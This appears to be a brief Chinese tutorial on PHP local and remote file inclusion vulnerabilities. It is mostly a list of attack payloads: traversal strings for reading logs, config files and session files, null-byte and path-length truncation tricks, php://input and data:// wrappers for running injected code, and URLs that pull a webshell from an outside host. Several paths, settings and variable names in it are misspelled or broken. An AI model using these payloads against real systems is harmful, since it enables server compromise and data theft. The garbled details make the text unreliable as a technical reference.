php的函数引入文件是,由于传入的文件没有经过合理的校验,从而操作了预想之外的文件,就可以导致意外的文件泄露,甚至导致恶意代码的注入。
基本的代码:
If($_GET[‘func’])
{
Include $_GET[‘func’]
}
Else
{
Include ‘default.php’
}
本意运行的是http://127.0.0.1/index.php?func=add.php,结果在后面默认运行了default.php
如果黑客运行自己上传的图片马,那么包含一句话木马,我们是不是就绕过过滤了。
http://127.0.0.1/index.php?func=upload/pic/evil.jpg
evil.jpg是黑客上传上去的图片吗,里面有恶意的php代码
LFI本地文件包含漏洞:
(1),普通的本地文件包含
<?php
include(“inc/” . $GET[‘file’]); ?>
包含同目录下的文件:
?file=.htaccess
目录遍历
?file=../…/../var/lib/flag.txt
包含错误的日志
?file=../../../var/log/access.log
常见的一些路径
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/asscess_log
获取web目录或者其他的配置文件
?file=../../../httpd.conf
包含上传的附件
?file=../../../xx.file
读取session文件
/file=../../../tmp/sess_tnrdo
(2)有限制的本地包含
<?php
include(“inc/” . $GET[‘file’] . “.htm”); ?>
%00截断:
?file=../../../etc/pwd%00
%00截断目录遍历
?../../../../www/%00
路径长度截断:
?file=../../../etc/pwd/././.[…]/././.
点号截断:
?file=../../../boot.ini/….[…]………
RFI(远程文件包含漏洞)
三大条件:
All_url_fopen=On(默认开启)
Allow_url_include=On(默认关闭)
被包含的遍历前没有目录的限制
(1)普通远程文件包含
<?php include($GET[‘file’]);?>
远程代码执行:
?file=http://www.baidu.com/index.php
利用php流input;
?file=php://input
利用php流filter:
?file=php://filter/convert/resource=index.php
利用data URLs:
?file=data://text/plain;base64,URL(可以远程包含一句话木马链接)
利用xss执行任意代码
?file=http://127.0.0.1/path/xss.php?xss=phpcode
有限制的远程文件包含
<?php include($_GET[‘FILE’]
. “.htm”); ?>
?file=http://www.baidu.com/shell
?file=http://www.baidu.com/shell.txt?
?file=http://www.baidu.com/shell.txt%23
?file=\evilshare\shell.php